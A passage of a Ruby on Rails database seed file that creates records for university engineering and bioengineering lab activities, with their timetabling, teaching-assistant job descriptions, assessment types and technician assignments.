Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a590.id).first_or_create!(assess_weight: nil, notes: \"Claire is MEE lead. We don't do post-lab assessment for this lab practical.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a590.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a590.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a591 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode68\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: true, in_drive: false, user_id: 3)\n at591 = ActivityTimetable.where(activity_id: a591.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a591.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a591.id).first_or_create!(criteria: \"\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a591.id).first_or_create!(assess_weight: nil, notes: \"Includes histology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a591.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a591.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a592 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode69\").first_or_create!(name: \"Histology staining\",\n name_abrv: \"HISTSTAINING\", archived: true, in_drive: false, user_id: 5)\n at592 = ActivityTimetable.where(activity_id: a592.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 25, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a592.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a592.id).first_or_create!(criteria: \"\",\n job_desc:\"Staining animal tissue sections using H&E - paraffin embedded and frozen sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a592.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a592.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a592.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a593 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode70\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: true, in_drive: false, user_id: 4)\n at593 = ActivityTimetable.where(activity_id: a593.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a593.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a593.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a593.id).first_or_create!(assess_weight: nil, notes: \"Includes aseptic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a593.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a593.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a594 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode71\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: true, in_drive: false, user_id: 1)\n at594 = ActivityTimetable.where(activity_id: a594.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a594.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a594.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a594.id).first_or_create!(assess_weight: nil, notes: \"Post is MOLE test.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a594.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a594.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a595 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode72\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: true, in_drive: false, user_id: 4)\n at595 = ActivityTimetable.where(activity_id: a595.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a595.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a595.id).first_or_create!(criteria: \"\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a595.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a595.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a595.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a596 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode73\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: true, in_drive: false, user_id: 4)\n at596 = ActivityTimetable.where(activity_id: a596.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a596.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a596.id).first_or_create!(criteria: \"\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a596.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a596.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a596.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a597 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode74\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: true, in_drive: false, user_id: 2)\n at597 = ActivityTimetable.where(activity_id: a597.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a597.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a597.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a597.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a597.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a597.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a598 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode75\").first_or_create!(name: \"Western blotting\",\n name_abrv: \"WESTBLOT\", archived: true, in_drive: false, user_id: 4)\n at598 = ActivityTimetable.where(activity_id: a598.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a598.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a598.id).first_or_create!(criteria: \"\",\n job_desc:\"Western Blotting\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a598.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a598.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a598.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a599 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode76\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 2)\n at599 = ActivityTimetable.where(activity_id: a599.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a599.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a599.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a599.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a599.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a599.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a600 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode77\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 4)\n at600 = ActivityTimetable.where(activity_id: a600.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a600.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a600.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a600.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a600.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a600.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a601 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"unknowncode78\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: true, in_drive: false, user_id: 2)\n at601 = ActivityTimetable.where(activity_id: a601.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a601.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a601.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a601.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a601.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a601.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a602 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"unknowncode79\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: true, in_drive: false, user_id: 4)\n at602 = ActivityTimetable.where(activity_id: a602.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a602.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a602.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a602.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a602.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a602.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a603 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"unknowncode80\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: true, in_drive: false, user_id: 1)\n at603 = ActivityTimetable.where(activity_id: a603.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blb.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a603.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a603.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a603.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a603.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a603.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a604 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at604 = ActivityTimetable.where(activity_id: a604.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a604.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a604.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a604.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a604.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a605 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at605 = ActivityTimetable.where(activity_id: a605.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a605.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a605.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a605.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a605.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a606 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR199\").first.id, code: \"432\").first_or_create!(name: \"Stokes Law and Viscosity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at606 = ActivityTimetable.where(activity_id: a606.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a606.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a606.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a606.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a606.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a606.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a607 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE340\").first.id, code: \"129\").first_or_create!(name: \"Continuous Manufacturing of pharmaceutical tablets\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at607 = ActivityTimetable.where(activity_id: a607.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 8, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a607.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a607.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. As a GTA, training will be provided for the experiments, and you will be assisting students to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a607.id).first_or_create!(assess_weight: 10.0, notes: \"in post lab, students will be asked to answer few question and submit this as an assignment through Blackboard\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a607.id).first_or_create!(cost_per_student: nil, equip_needed: \"Consigma line, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a607.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a608 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR332\").first.id, code: \"241\").first_or_create!(name: \"inspection of welds\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at608 = ActivityTimetable.where(activity_id: a608.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a608.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a608.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a608.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a608.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a608.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a609 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"542\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at609 = ActivityTimetable.where(activity_id: a609.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a609.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a609.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a609.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a609.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a610 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"543\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at610 = ActivityTimetable.where(activity_id: a610.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"ACME535MEC445 should be completed before attending this lab\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a610.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a610.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a610.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: 